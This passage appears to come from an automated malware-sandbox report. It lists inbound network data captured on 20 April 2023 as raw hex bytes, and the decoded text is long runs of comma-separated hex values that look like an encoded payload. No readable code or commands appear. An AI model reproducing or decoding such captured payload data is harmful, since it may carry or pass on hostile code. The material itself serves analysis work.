2023-04-20 23:05:02 UTC	11821	IN	Data Raw: 34 2c 39 34 2c 31 33 32 2c 31 33 63 2c 35 32 2c 37 37 2c 31 34 39 2c 36 34 2c 39 65 2c 31 31 66 2c 39 36 2c 31 34 65 2c 36 64 2c 31 32 64 2c 31 36 36 2c 63 34 2c 31 32 30 2c 63 39 2c 39 64 2c 65 63 2c 39 30 2c 31 32 64 2c 31 35 38 2c 61 30 2c 31 31 63 2c 31 31 32 2c 64 36 2c 31 33 66 2c 39 39 2c 31 30 62 2c 62 65 2c 36 38 2c 38 61 2c 31 31 62 2c 65 30 2c 31 30 34 2c 64 31 2c 34 37 2c 62 65 2c 37 38 2c 62 63 2c 64 38 2c 31 30 35 2c 31 36 35 2c 31 32 30 2c 66 30 2c 31 36 33 2c 66 66 2c 36 35 2c 31 32 64 2c 37 64 2c 31 30 32 2c 37 61 2c 31 30 39 2c 31 36 64 2c 31 31 31 2c 63 65 2c 31 31 32 2c 31 33 38 2c 38 65 2c 38 38 2c 65 63 2c 31 35 30 2c 61 32 2c 65 32 2c 61 34 2c 31 32 62 2c 31 31 37 2c 34 61 2c 66 63 2c 31 33 38 2c 66 63 2c 64 36 2c 39 30 2c 31 32 39 Data Ascii: 4,94,132,13c,52,77,149,64,9e,11f,96,14e,6d,12d,166,c4,120,c9,9d,ec,90,12d,158,a0,11c,112,d6,13f,99,10b,be,68,8a,11b,e0,104,d1,47,be,78,bc,d8,105,165,120,f0,163,ff,65,12d,7d,102,7a,109,16d,111,ce,112,138,8e,88,ec,150,a2,e2,a4,12b,117,4a,fc,138,fc,d6,90,129
2023-04-20 23:05:02 UTC	11837	IN	Data Raw: 37 2c 31 35 32 2c 38 37 2c 31 30 64 2c 31 36 31 2c 64 63 2c 62 33 2c 63 38 2c 31 36 65 2c 31 34 34 2c 64 34 2c 31 32 33 2c 65 31 2c 64 34 2c 31 33 63 2c 37 36 2c 35 66 2c 62 36 2c 31 30 35 2c 31 30 32 2c 34 37 2c 31 34 64 2c 31 30 37 2c 34 38 2c 39 30 2c 31 34 61 2c 63 38 2c 31 30 39 2c 31 32 64 2c 66 35 2c 31 36 37 2c 31 32 61 2c 39 63 2c 31 32 64 2c 61 36 2c 31 31 62 2c 31 30 34 2c 35 36 2c 37 34 2c 31 34 61 2c 31 32 34 2c 37 37 2c 31 30 39 2c 64 66 2c 36 39 2c 35 37 2c 31 31 38 2c 38 66 2c 35 38 2c 31 32 32 2c 31 31 65 2c 65 63 2c 34 61 2c 37 35 2c 37 30 2c 37 32 2c 36 64 2c 37 33 2c 31 35 35 2c 64 64 2c 35 61 2c 38 36 2c 63 32 2c 62 66 2c 61 31 2c 31 31 36 2c 39 65 2c 31 32 35 2c 31 31 31 2c 62 65 2c 64 66 2c 31 31 37 2c 39 32 2c 38 31 2c 31 33 38 2c Data Ascii: 7,152,87,10d,161,dc,b3,c8,16e,144,d4,123,e1,d4,13c,76,5f,b6,105,102,47,14d,107,48,90,14a,c8,109,12d,f5,167,12a,9c,12d,a6,11b,104,56,74,14a,124,77,109,df,69,57,118,8f,58,122,11e,ec,4a,75,70,72,6d,73,155,dd,5a,86,c2,bf,a1,116,9e,125,111,be,df,117,92,81,138,
2023-04-20 23:05:03 UTC	11853	IN	Data Raw: 2c 61 63 2c 63 31 2c 61 64 2c 39 37 2c 63 62 2c 62 33 2c 62 66 2c 37 33 2c 37 65 2c 31 34 65 2c 36 35 2c 39 36 2c 64 36 2c 36 31 2c 34 38 2c 66 30 2c 38 66 2c 31 34 62 2c 66 30 2c 31 32 35 2c 66 62 2c 37 66 2c 38 38 2c 31 36 65 2c 31 30 30 2c 63 39 2c 61 31 2c 31 30 32 2c 65 37 2c 62 37 2c 63 31 2c 31 32 30 2c 31 35 34 2c 61 35 2c 34 66 2c 39 63 2c 39 33 2c 39 31 2c 31 33 39 2c 64 39 2c 31 31 35 2c 36 61 2c 36 32 2c 65 63 2c 31 31 63 2c 62 39 2c 31 31 39 2c 65 37 2c 36 63 2c 66 37 2c 31 33 61 2c 31 30 30 2c 61 33 2c 31 32 61 2c 39 34 2c 37 38 2c 31 32 39 2c 66 39 2c 37 31 2c 38 36 2c 64 35 2c 38 36 2c 65 30 2c 31 32 31 2c 64 66 2c 64 36 2c 62 39 2c 31 34 61 2c 31 32 34 2c 31 30 34 2c 31 33 64 2c 31 30 63 2c 66 32 2c 66 66 2c 34 65 2c 34 65 2c 31 34 31 2c Data Ascii: ,ac,c1,ad,97,cb,b3,bf,73,7e,14e,65,96,d6,61,48,f0,8f,14b,f0,125,fb,7f,88,16e,100,c9,a1,102,e7,b7,c1,120,154,a5,4f,9c,93,91,139,d9,115,6a,62,ec,11c,b9,119,e7,6c,f7,13a,100,a3,12a,94,78,129,f9,71,86,d5,86,e0,121,df,d6,b9,14a,124,104,13d,10c,f2,ff,4e,4e,141,
2023-04-20 23:05:03 UTC	11869	IN	Data Raw: 62 2c 31 32 61 2c 34 37 2c 62 38 2c 39 66 2c 64 61 2c 61 38 2c 39 34 2c 31 33 35 2c 38 37 2c 65 30 2c 33 32 2c 31 36 31 2c 38 31 2c 35 63 2c 65 65 2c 31 35 62 2c 62 37 2c 64 34 2c 38 38 2c 66 32 2c 61 32 2c 61 64 2c 31 35 32 2c 65 63 2c 39 33 2c 66 39 2c 65 36 2c 39 33 2c 39 37 2c 64 35 2c 61 33 2c 31 31 37 2c 31 33 63 2c 34 37 2c 64 36 2c 39 31 2c 38 30 2c 65 63 2c 63 63 2c 31 30 35 2c 31 30 30 2c 31 30 64 2c 36 63 2c 66 30 2c 61 66 2c 62 39 2c 39 64 2c 65 62 2c 61 32 2c 39 32 2c 62 31 2c 38 63 2c 38 30 2c 31 36 36 2c 63 30 2c 36 64 2c 31 31 63 2c 31 32 37 2c 31 31 63 2c 31 32 37 2c 31 31 38 2c 31 34 62 2c 61 39 2c 65 61 2c 61 35 2c 61 35 2c 31 37 34 2c 31 33 64 2c 36 32 2c 64 39 2c 64 63 2c 61 37 2c 31 31 65 2c 39 61 2c 35 63 2c 63 37 2c 65 38 2c 65 31 Data Ascii: b,12a,47,b8,9f,da,a8,94,135,87,e0,32,161,81,5c,ee,15b,b7,d4,88,f2,a2,ad,152,ec,93,f9,e6,93,97,d5,a3,117,13c,47,d6,91,80,ec,cc,105,100,10d,6c,f0,af,b9,9d,eb,a2,92,b1,8c,80,166,c0,6d,11c,127,11c,127,118,14b,a9,ea,a5,a5,174,13d,62,d9,dc,a7,11e,9a,5c,c7,e8,e1
2023-04-20 23:05:03 UTC	11885	IN	Data Raw: 2c 35 34 2c 39 65 2c 37 31 2c 65 37 2c 35 64 2c 39 34 2c 65 36 2c 37 36 2c 31 31 30 2c 35 64 2c 31 31 34 2c 62 35 2c 31 31 65 2c 31 31 33 2c 35 32 2c 63 32 2c 37 36 2c 31 33 64 2c 62 66 2c 64 30 2c 31 30 31 2c 31 34 36 2c 31 30 64 2c 31 30 37 2c 62 32 2c 62 36 2c 31 30 31 2c 31 32 33 2c 31 30 34 2c 33 38 2c 62 66 2c 31 32 32 2c 33 30 2c 35 63 2c 31 34 63 2c 31 36 66 2c 31 31 65 2c 35 32 2c 63 63 2c 31 34 35 2c 66 34 2c 31 31 31 2c 37 30 2c 65 38 2c 31 30 36 2c 36 65 2c 37 61 2c 31 34 63 2c 66 33 2c 31 34 30 2c 38 65 2c 38 36 2c 65 38 2c 38 66 2c 38 33 2c 31 33 38 2c 63 31 2c 63 61 2c 31 30 31 2c 61 39 2c 31 31 64 2c 31 32 37 2c 62 39 2c 66 34 2c 62 61 2c 66 39 2c 38 66 2c 31 34 39 2c 64 62 2c 63 61 2c 33 31 2c 31 32 66 2c 39 62 2c 65 63 2c 31 32 35 2c 31 Data Ascii: ,54,9e,71,e7,5d,94,e6,76,110,5d,114,b5,11e,113,52,c2,76,13d,bf,d0,101,146,10d,107,b2,b6,101,123,104,38,bf,122,30,5c,14c,16f,11e,52,cc,145,f4,111,70,e8,106,6e,7a,14c,f3,140,8e,86,e8,8f,83,138,c1,ca,101,a9,11d,127,b9,f4,ba,f9,8f,149,db,ca,31,12f,9b,ec,125,1
2023-04-20 23:05:03 UTC	11901	IN	Data Raw: 37 2c 62 39 2c 62 39 2c 34 34 2c 35 39 2c 31 32 61 2c 31 35 34 2c 31 30 38 2c 31 30 37 2c 37 33 2c 37 36 2c 35 66 2c 31 30 35 2c 38 32 2c 63 63 2c 31 36 36 2c 37 34 2c 66 31 2c 35 36 2c 38 30 2c 31 37 32 2c 31 36 61 2c 66 31 2c 31 34 39 2c 31 33 39 2c 31 30 34 2c 31 31 35 2c 35 66 2c 31 32 35 2c 39 61 2c 39 61 2c 31 33 64 2c 37 38 2c 31 34 35 2c 66 63 2c 64 36 2c 38 63 2c 31 30 66 2c 31 31 31 2c 37 34 2c 37 39 2c 66 37 2c 31 31 37 2c 65 31 2c 34 37 2c 31 34 33 2c 38 66 2c 31 34 63 2c 31 30 39 2c 64 38 2c 31 34 62 2c 63 66 2c 62 66 2c 39 35 2c 36 33 2c 31 33 33 2c 31 30 35 2c 37 63 2c 31 33 65 2c 31 31 63 2c 31 31 33 2c 31 33 39 2c 31 35 39 2c 62 34 2c 62 63 2c 63 61 2c 36 62 2c 31 31 34 2c 61 39 2c 63 30 2c 31 30 63 2c 31 32 63 2c 35 37 2c 64 34 2c 65 33 Data Ascii: 7,b9,b9,44,59,12a,154,108,107,73,76,5f,105,82,cc,166,74,f1,56,80,172,16a,f1,149,139,104,115,5f,125,9a,9a,13d,78,145,fc,d6,8c,10f,111,74,79,f7,117,e1,47,143,8f,14c,109,d8,14b,cf,bf,95,63,133,105,7c,13e,11c,113,139,159,b4,bc,ca,6b,114,a9,c0,10c,12c,57,d4,e3
2023-04-20 23:05:03 UTC	11917	IN	Data Raw: 2c 31 33 34 2c 38 38 2c 61 61 2c 31 31 33 2c 65 36 2c 61 34 2c 65 66 2c 65 61 2c 31 30 33 2c 37 33 2c 64 35 2c 34 31 2c 63 63 2c 66 31 2c 31 30 33 2c 63 65 2c 62 34 2c 64 37 2c 62 32 2c 65 66 2c 37 65 2c 39 65 2c 39 38 2c 39 31 2c 31 31 37 2c 66 31 2c 64 36 2c 39 37 2c 31 34 38 2c 61 34 2c 62 64 2c 31 32 65 2c 31 34 62 2c 31 31 65 2c 65 65 2c 31 30 34 2c 64 31 2c 63 32 2c 35 37 2c 31 33 35 2c 39 62 2c 66 36 2c 31 31 37 2c 35 61 2c 35 61 2c 36 36 2c 38 33 2c 31 33 31 2c 31 32 32 2c 31 34 33 2c 35 34 2c 37 36 2c 31 30 65 2c 61 65 2c 66 61 2c 66 30 2c 39 64 2c 31 30 30 2c 63 30 2c 61 32 2c 31 32 38 2c 39 63 2c 31 33 65 2c 31 34 62 2c 64 63 2c 39 65 2c 63 61 2c 63 32 2c 37 33 2c 31 32 39 2c 66 64 2c 63 62 2c 39 39 2c 62 38 2c 31 31 61 2c 62 65 2c 65 66 2c 31 Data Ascii: ,134,88,aa,113,e6,a4,ef,ea,103,73,d5,41,cc,f1,103,ce,b4,d7,b2,ef,7e,9e,98,91,117,f1,d6,97,148,a4,bd,12e,14b,11e,ee,104,d1,c2,57,135,9b,f6,117,5a,5a,66,83,131,122,143,54,76,10e,ae,fa,f0,9d,100,c0,a2,128,9c,13e,14b,dc,9e,ca,c2,73,129,fd,cb,99,b8,11a,be,ef,1
2023-04-20 23:05:03 UTC	11933	IN	Data Raw: 64 2c 31 30 39 2c 31 30 64 2c 31 32 30 2c 36 35 2c 39 66 2c 61 62 2c 31 34 30 2c 39 35 2c 64 36 2c 31 34 65 2c 34 38 2c 31 32 64 2c 65 62 2c 65 38 2c 31 34 39 2c 64 62 2c 31 35 65 2c 61 38 2c 35 33 2c 31 31 35 2c 31 30 39 2c 37 30 2c 63 34 2c 62 33 2c 36 37 2c 38 65 2c 31 33 61 2c 66 30 2c 38 33 2c 31 31 66 2c 39 38 2c 66 61 2c 65 32 2c 62 63 2c 63 65 2c 63 39 2c 38 64 2c 31 30 36 2c 35 64 2c 65 32 2c 31 35 31 2c 63 65 2c 61 62 2c 31 37 31 2c 64 31 2c 31 31 32 2c 31 34 62 2c 35 62 2c 31 32 62 2c 37 31 2c 31 30 65 2c 39 66 2c 36 65 2c 62 30 2c 31 32 30 2c 39 32 2c 63 63 2c 37 38 2c 62 63 2c 65 30 2c 62 33 2c 31 31 66 2c 63 36 2c 31 30 30 2c 36 39 2c 31 31 64 2c 35 63 2c 63 33 2c 31 33 64 2c 31 30 35 2c 31 34 64 2c 62 31 2c 62 32 2c 64 34 2c 33 65 2c 31 31 Data Ascii: d,109,10d,120,65,9f,ab,140,95,d6,14e,48,12d,eb,e8,149,db,15e,a8,53,115,109,70,c4,b3,67,8e,13a,f0,83,11f,98,fa,e2,bc,ce,c9,8d,106,5d,e2,151,ce,ab,171,d1,112,14b,5b,12b,71,10e,9f,6e,b0,120,92,cc,78,bc,e0,b3,11f,c6,100,69,11d,5c,c3,13d,105,14d,b1,b2,d4,3e,11
2023-04-20 23:05:03 UTC	11949	IN	Data Raw: 38 35 2c 31 30 38 2c 63 33 2c 31 31 37 2c 39 30 2c 38 32 2c 36 35 2c 31 36 36 2c 31 35 66 2c 31 31 31 2c 39 39 2c 35 66 2c 31 30 34 2c 39 38 2c 36 30 2c 64 64 2c 36 66 2c 34 64 2c 38 62 2c 66 32 2c 63 38 2c 31 34 38 2c 63 37 2c 33 64 2c 66 64 2c 36 64 2c 31 31 64 2c 31 34 63 2c 39 63 2c 31 31 64 2c 37 34 2c 66 35 2c 35 65 2c 31 32 33 2c 63 39 2c 31 35 34 2c 31 31 65 2c 31 32 64 2c 33 64 2c 65 32 2c 31 35 33 2c 31 30 33 2c 38 34 2c 31 34 33 2c 39 32 2c 39 36 2c 35 61 2c 61 66 2c 37 36 2c 65 37 2c 31 31 31 2c 31 31 31 2c 37 31 2c 31 36 32 2c 65 30 2c 31 32 61 2c 31 30 35 2c 36 65 2c 38 63 2c 39 30 2c 36 64 2c 65 36 2c 31 31 31 2c 33 30 2c 62 33 2c 31 33 64 2c 61 64 2c 38 65 2c 62 62 2c 65 66 2c 33 65 2c 31 32 33 2c 39 30 2c 31 30 32 2c 61 30 2c 66 63 2c 31 Data Ascii: 85,108,c3,117,90,82,65,166,15f,111,99,5f,104,98,60,dd,6f,4d,8b,f2,c8,148,c7,3d,fd,6d,11d,14c,9c,11d,74,f5,5e,123,c9,154,11e,12d,3d,e2,153,103,84,143,92,96,5a,af,76,e7,111,111,71,162,e0,12a,105,6e,8c,90,6d,e6,111,30,b3,13d,ad,8e,bb,ef,3e,123,90,102,a0,fc,1
2023-04-20 23:05:03 UTC	11965	IN	Data Raw: 37 32 2c 61 30 2c 64 64 2c 63 62 2c 64 39 2c 31 32 32 2c 38 33 2c 35 31 2c 39 30 2c 39 38 2c 65 39 2c 31 34 37 2c 39 33 2c 66 66 2c 39 37 2c 31 31 31 2c 31 31 31 2c 31 30 65 2c 31 34 63 2c 37 37 2c 62 65 2c 66 35 2c 31 30 37 2c 61 30 2c 65 34 2c 31 36 32 2c 65 66 2c 31 34 64 2c 61 65 2c 31 33 64 2c 39 33 2c 66 32 2c 38 34 2c 65 36 2c 31 35 64 2c 31 34 31 2c 36 33 2c 31 32 63 2c 61 64 2c 39 39 2c 37 30 2c 63 31 2c 31 34 66 2c 36 37 2c 38 66 2c 31 31 35 2c 62 33 2c 37 31 2c 31 31 34 2c 31 31 36 2c 64 65 2c 31 33 30 2c 38 38 2c 63 35 2c 31 33 63 2c 65 66 2c 31 30 33 2c 63 65 2c 63 33 2c 62 31 2c 39 38 2c 31 33 63 2c 61 63 2c 38 35 2c 64 31 2c 31 33 32 2c 65 63 2c 64 36 2c 63 32 2c 64 64 2c 36 66 2c 66 36 2c 63 34 2c 31 30 37 2c 36 64 2c 31 31 64 2c 31 30 64 Data Ascii: 72,a0,dd,cb,d9,122,83,51,90,98,e9,147,93,ff,97,111,111,10e,14c,77,be,f5,107,a0,e4,162,ef,14d,ae,13d,93,f2,84,e6,15d,141,63,12c,ad,99,70,c1,14f,67,8f,115,b3,71,114,116,de,130,88,c5,13c,ef,103,ce,c3,b1,98,13c,ac,85,d1,132,ec,d6,c2,dd,6f,f6,c4,107,6d,11d,10d
2023-04-20 23:05:03 UTC	11981	IN	Data Raw: 33 2c 37 34 2c 34 36 2c 31 33 31 2c 31 30 30 2c 66 64 2c 31 33 31 2c 37 37 2c 31 34 37 2c 31 35 34 2c 31 30 31 2c 31 34 37 2c 63 37 2c 66 61 2c 66 38 2c 31 30 39 2c 39 34 2c 35 61 2c 61 62 2c 35 34 2c 36 37 2c 35 64 2c 66 36 2c 64 65 2c 31 36 36 2c 61 65 2c 38 31 2c 31 36 34 2c 66 62 2c 35 62 2c 35 36 2c 37 37 2c 64 61 2c 35 65 2c 65 30 2c 66 30 2c 31 30 31 2c 66 38 2c 36 35 2c 37 38 2c 36 37 2c 62 37 2c 66 64 2c 31 30 35 2c 66 66 2c 39 34 2c 38 66 2c 35 38 2c 31 33 36 2c 62 30 2c 31 32 37 2c 35 63 2c 31 31 36 2c 63 39 2c 31 37 32 2c 38 61 2c 66 34 2c 35 36 2c 31 34 63 2c 31 35 33 2c 39 33 2c 35 61 2c 39 65 2c 31 36 37 2c 37 39 2c 38 32 2c 37 30 2c 39 30 2c 31 32 31 2c 63 33 2c 31 33 61 2c 31 35 63 2c 31 32 66 2c 31 35 37 2c 31 31 63 2c 31 32 33 2c 31 31 Data Ascii: 3,74,46,131,100,fd,131,77,147,154,101,147,c7,fa,f8,109,94,5a,ab,54,67,5d,f6,de,166,ae,81,164,fb,5b,56,77,da,5e,e0,f0,101,f8,65,78,67,b7,fd,105,ff,94,8f,58,136,b0,127,5c,116,c9,172,8a,f4,56,14c,153,93,5a,9e,167,79,82,70,90,121,c3,13a,15c,12f,157,11c,123,11
2023-04-20 23:05:03 UTC	11997	IN	Data Raw: 66 2c 31 31 66 2c 61 38 2c 62 61 2c 31 33 61 2c 31 35 33 2c 63 36 2c 64 30 2c 62 65 2c 65 30 2c 64 30 2c 31 34 33 2c 38 30 2c 39 61 2c 31 33 30 2c 61 39 2c 38 64 2c 34 31 2c 62 62 2c 66 64 2c 31 35 64 2c 63 32 2c 35 33 2c 34 63 2c 31 30 61 2c 65 62 2c 36 34 2c 38 63 2c 36 37 2c 31 36 35 2c 63 32 2c 66 64 2c 39 63 2c 31 33 66 2c 39 33 2c 31 37 32 2c 62 30 2c 39 64 2c 63 38 2c 33 35 2c 66 64 2c 37 30 2c 64 37 2c 38 61 2c 61 63 2c 31 33 61 2c 66 38 2c 31 35 33 2c 62 36 2c 33 34 2c 37 36 2c 37 65 2c 63 66 2c 36 34 2c 39 63 2c 65 64 2c 62 31 2c 35 61 2c 36 35 2c 64 32 2c 62 66 2c 31 34 30 2c 31 32 39 2c 31 31 36 2c 61 66 2c 39 30 2c 31 36 33 2c 31 31 32 2c 64 63 2c 62 36 2c 66 39 2c 66 34 2c 31 34 37 2c 35 35 2c 31 32 39 2c 39 66 2c 31 34 35 2c 61 33 2c 65 64 Data Ascii: f,11f,a8,ba,13a,153,c6,d0,be,e0,d0,143,80,9a,130,a9,8d,41,bb,fd,15d,c2,53,4c,10a,eb,64,8c,67,165,c2,fd,9c,13f,93,172,b0,9d,c8,35,fd,70,d7,8a,ac,13a,f8,153,b6,34,76,7e,cf,64,9c,ed,b1,5a,65,d2,bf,140,129,116,af,90,163,112,dc,b6,f9,f4,147,55,129,9f,145,a3,ed
2023-04-20 23:05:03 UTC	12013	IN	Data Raw: 2c 31 30 35 2c 37 35 2c 31 31 64 2c 63 30 2c 37 61 2c 31 34 35 2c 31 33 35 2c 35 63 2c 38 66 2c 31 35 33 2c 31 34 61 2c 39 31 2c 39 62 2c 31 32 37 2c 38 33 2c 35 39 2c 31 32 64 2c 66 36 2c 62 39 2c 31 31 33 2c 31 32 38 2c 31 33 63 2c 36 31 2c 62 38 2c 31 32 32 2c 31 34 66 2c 39 31 2c 38 66 2c 31 32 39 2c 38 33 2c 66 37 2c 66 36 2c 62 35 2c 39 38 2c 39 35 2c 31 30 62 2c 63 62 2c 35 36 2c 62 36 2c 35 64 2c 62 38 2c 63 35 2c 39 36 2c 33 65 2c 31 31 36 2c 63 36 2c 61 39 2c 63 61 2c 31 31 37 2c 31 36 33 2c 36 64 2c 31 33 61 2c 66 34 2c 31 34 65 2c 37 30 2c 65 63 2c 38 36 2c 38 63 2c 31 32 66 2c 31 30 35 2c 31 31 38 2c 31 35 32 2c 38 33 2c 61 63 2c 31 34 64 2c 31 32 63 2c 31 31 64 2c 66 31 2c 35 35 2c 62 63 2c 64 35 2c 66 33 2c 31 36 62 2c 31 34 61 2c 39 63 2c Data Ascii: ,105,75,11d,c0,7a,145,135,5c,8f,153,14a,91,9b,127,83,59,12d,f6,b9,113,128,13c,61,b8,122,14f,91,8f,129,83,f7,f6,b5,98,95,10b,cb,56,b6,5d,b8,c5,96,3e,116,c6,a9,ca,117,163,6d,13a,f4,14e,70,ec,86,8c,12f,105,118,152,83,ac,14d,12c,11d,f1,55,bc,d5,f3,16b,14a,9c,
2023-04-20 23:05:03 UTC	12029	IN	Data Raw: 2c 63 63 2c 62 37 2c 38 35 2c 63 66 2c 66 36 2c 36 63 2c 37 30 2c 37 32 2c 34 64 2c 31 35 34 2c 31 34 66 2c 37 30 2c 63 66 2c 65 64 2c 31 30 62 2c 31 34 37 2c 38 63 2c 37 37 2c 62 61 2c 64 38 2c 61 61 2c 31 31 34 2c 37 39 2c 31 31 66 2c 65 30 2c 31 34 33 2c 36 38 2c 38 64 2c 31 33 33 2c 31 33 63 2c 39 62 2c 31 30 32 2c 31 34 30 2c 37 65 2c 66 66 2c 65 36 2c 63 66 2c 36 64 2c 37 30 2c 38 31 2c 35 64 2c 66 63 2c 31 35 31 2c 36 61 2c 31 32 32 2c 34 35 2c 31 32 36 2c 31 31 66 2c 61 62 2c 31 34 64 2c 31 30 38 2c 38 39 2c 37 64 2c 36 31 2c 31 32 34 2c 39 65 2c 35 63 2c 39 38 2c 31 35 33 2c 64 61 2c 33 64 2c 31 36 31 2c 31 35 32 2c 37 39 2c 62 32 2c 31 34 32 2c 31 36 36 2c 64 37 2c 63 33 2c 36 36 2c 65 37 2c 34 61 2c 62 34 2c 38 37 2c 31 34 36 2c 31 34 31 2c 63 Data Ascii: ,cc,b7,85,cf,f6,6c,70,72,4d,154,14f,70,cf,ed,10b,147,8c,77,ba,d8,aa,114,79,11f,e0,143,68,8d,133,13c,9b,102,140,7e,ff,e6,cf,6d,70,81,5d,fc,151,6a,122,45,126,11f,ab,14d,108,89,7d,61,124,9e,5c,98,153,da,3d,161,152,79,b2,142,166,d7,c3,66,e7,4a,b4,87,146,141,c
2023-04-20 23:05:03 UTC	12045	IN	Data Raw: 33 65 2c 61 35 2c 31 33 31 2c 31 33 63 2c 38 31 2c 31 30 32 2c 31 34 63 2c 31 34 64 2c 31 32 65 2c 39 30 2c 35 33 2c 34 35 2c 37 30 2c 31 32 65 2c 35 64 2c 31 33 34 2c 31 30 36 2c 31 34 37 2c 39 32 2c 31 33 31 2c 66 61 2c 36 61 2c 39 31 2c 64 38 2c 35 62 2c 31 33 30 2c 36 30 2c 31 30 64 2c 31 33 34 2c 38 61 2c 35 34 2c 66 38 2c 39 39 2c 31 33 39 2c 34 30 2c 31 32 35 2c 36 63 2c 38 33 2c 37 32 2c 61 63 2c 37 64 2c 36 65 2c 31 30 34 2c 34 36 2c 37 30 2c 36 38 2c 34 64 2c 61 30 2c 66 34 2c 31 31 38 2c 64 64 2c 64 65 2c 66 65 2c 31 33 37 2c 61 37 2c 62 39 2c 39 65 2c 64 36 2c 35 39 2c 66 34 2c 63 62 2c 31 30 38 2c 39 66 2c 31 34 61 2c 31 32 33 2c 31 32 63 2c 36 38 2c 39 38 2c 38 31 2c 39 32 2c 63 35 2c 31 32 64 2c 31 32 34 2c 62 36 2c 31 30 32 2c 64 33 2c 36 Data Ascii: 3e,a5,131,13c,81,102,14c,14d,12e,90,53,45,70,12e,5d,134,106,147,92,131,fa,6a,91,d8,5b,130,60,10d,134,8a,54,f8,99,139,40,125,6c,83,72,ac,7d,6e,104,46,70,68,4d,a0,f4,118,dd,de,fe,137,a7,b9,9e,d6,59,f4,cb,108,9f,14a,123,12c,68,98,81,92,c5,12d,124,b6,102,d3,6
2023-04-20 23:05:03 UTC	12061	IN	Data Raw: 2c 31 30 37 2c 66 38 2c 31 34 35 2c 31 33 61 2c 31 31 64 2c 31 32 65 2c 31 31 35 2c 62 30 2c 38 62 2c 63 38 2c 31 31 32 2c 31 37 30 2c 39 66 2c 66 64 2c 36 32 2c 63 35 2c 65 36 2c 62 30 2c 62 38 2c 31 32 33 2c 63 30 2c 31 30 65 2c 33 64 2c 65 66 2c 64 63 2c 31 31 31 2c 31 31 33 2c 38 34 2c 31 32 66 2c 37 62 2c 35 61 2c 31 30 37 2c 31 36 36 2c 36 61 2c 31 34 33 2c 31 33 62 2c 31 30 33 2c 39 36 2c 66 32 2c 61 37 2c 31 34 65 2c 37 37 2c 39 33 2c 64 65 2c 66 30 2c 31 34 63 2c 31 30 30 2c 31 30 63 2c 31 31 64 2c 62 30 2c 61 63 2c 38 65 2c 62 62 2c 31 32 38 2c 31 30 64 2c 31 31 35 2c 36 62 2c 36 66 2c 65 30 2c 64 65 2c 61 38 2c 61 63 2c 35 62 2c 31 32 33 2c 66 31 2c 35 31 2c 35 66 2c 36 62 2c 31 31 35 2c 31 31 66 2c 61 39 2c 31 31 37 2c 61 37 2c 61 33 2c 63 33 Data Ascii: ,107,f8,145,13a,11d,12e,115,b0,8b,c8,112,170,9f,fd,62,c5,e6,b0,b8,123,c0,10e,3d,ef,dc,111,113,84,12f,7b,5a,107,166,6a,143,13b,103,96,f2,a7,14e,77,93,de,f0,14c,100,10c,11d,b0,ac,8e,bb,128,10d,115,6b,6f,e0,de,a8,ac,5b,123,f1,51,5f,6b,115,11f,a9,117,a7,a3,c3
2023-04-20 23:05:03 UTC	12077	IN	Data Raw: 62 2c 66 30 2c 35 36 2c 31 31 31 2c 39 34 2c 64 30 2c 31 34 62 2c 31 34 34 2c 64 66 2c 65 36 2c 31 30 62 2c 62 31 2c 35 64 2c 62 37 2c 31 34 35 2c 31 32 35 2c 31 30 35 2c 65 65 2c 64 30 2c 31 31 39 2c 31 32 35 2c 31 32 63 2c 61 63 2c 31 32 32 2c 31 33 35 2c 31 30 61 2c 62 36 2c 31 30 39 2c 39 31 2c 66 34 2c 37 37 2c 63 65 2c 61 30 2c 65 35 2c 31 34 36 2c 36 61 2c 38 63 2c 31 31 33 2c 38 66 2c 31 33 39 2c 31 32 32 2c 61 32 2c 31 30 35 2c 31 31 65 2c 31 30 30 2c 31 34 32 2c 31 30 34 2c 31 32 34 2c 36 35 2c 39 34 2c 64 62 2c 34 31 2c 35 39 2c 62 33 2c 37 37 2c 64 30 2c 35 61 2c 35 61 2c 31 36 38 2c 36 65 2c 64 37 2c 31 30 38 2c 31 31 62 2c 62 34 2c 62 33 2c 62 38 2c 31 34 64 2c 31 33 65 2c 61 36 2c 64 35 2c 39 36 2c 31 32 39 2c 38 37 2c 31 31 31 2c 31 33 31 Data Ascii: b,f0,56,111,94,d0,14b,144,df,e6,10b,b1,5d,b7,145,125,105,ee,d0,119,125,12c,ac,122,135,10a,b6,109,91,f4,77,ce,a0,e5,146,6a,8c,113,8f,139,122,a2,105,11e,100,142,104,124,65,94,db,41,59,b3,77,d0,5a,5a,168,6e,d7,108,11b,b4,b3,b8,14d,13e,a6,d5,96,129,87,111,131
2023-04-20 23:05:03 UTC	12093	IN	Data Raw: 2c 31 34 36 2c 31 33 31 2c 39 63 2c 31 34 31 2c 39 36 2c 31 33 64 2c 66 64 2c 37 36 2c 61 34 2c 35 61 2c 66 33 2c 31 36 36 2c 35 65 2c 36 34 2c 31 30 36 2c 61 66 2c 31 31 34 2c 64 38 2c 38 32 2c 31 34 65 2c 39 30 2c 39 33 2c 38 39 2c 35 62 2c 36 34 2c 31 32 61 2c 35 33 2c 35 35 2c 64 65 2c 31 31 63 2c 31 34 39 2c 31 34 35 2c 31 33 63 2c 37 30 2c 31 37 30 2c 31 35 65 2c 36 37 2c 38 31 2c 62 35 2c 31 35 65 2c 31 31 36 2c 35 33 2c 66 38 2c 38 37 2c 31 30 31 2c 64 38 2c 65 63 2c 31 35 64 2c 66 35 2c 66 39 2c 33 38 2c 38 32 2c 62 30 2c 39 34 2c 37 39 2c 31 30 64 2c 65 34 2c 31 30 66 2c 33 33 2c 36 37 2c 37 31 2c 64 30 2c 31 35 33 2c 31 30 63 2c 31 30 31 2c 31 30 36 2c 66 35 2c 36 62 2c 62 31 2c 31 32 34 2c 31 31 65 2c 31 33 35 2c 31 34 39 2c 36 64 2c 38 39 2c Data Ascii: ,146,131,9c,141,96,13d,fd,76,a4,5a,f3,166,5e,64,106,af,114,d8,82,14e,90,93,89,5b,64,12a,53,55,de,11c,149,145,13c,70,170,15e,67,81,b5,15e,116,53,f8,87,101,d8,ec,15d,f5,f9,38,82,b0,94,79,10d,e4,10f,33,67,71,d0,153,10c,101,106,f5,6b,b1,124,11e,135,149,6d,89,
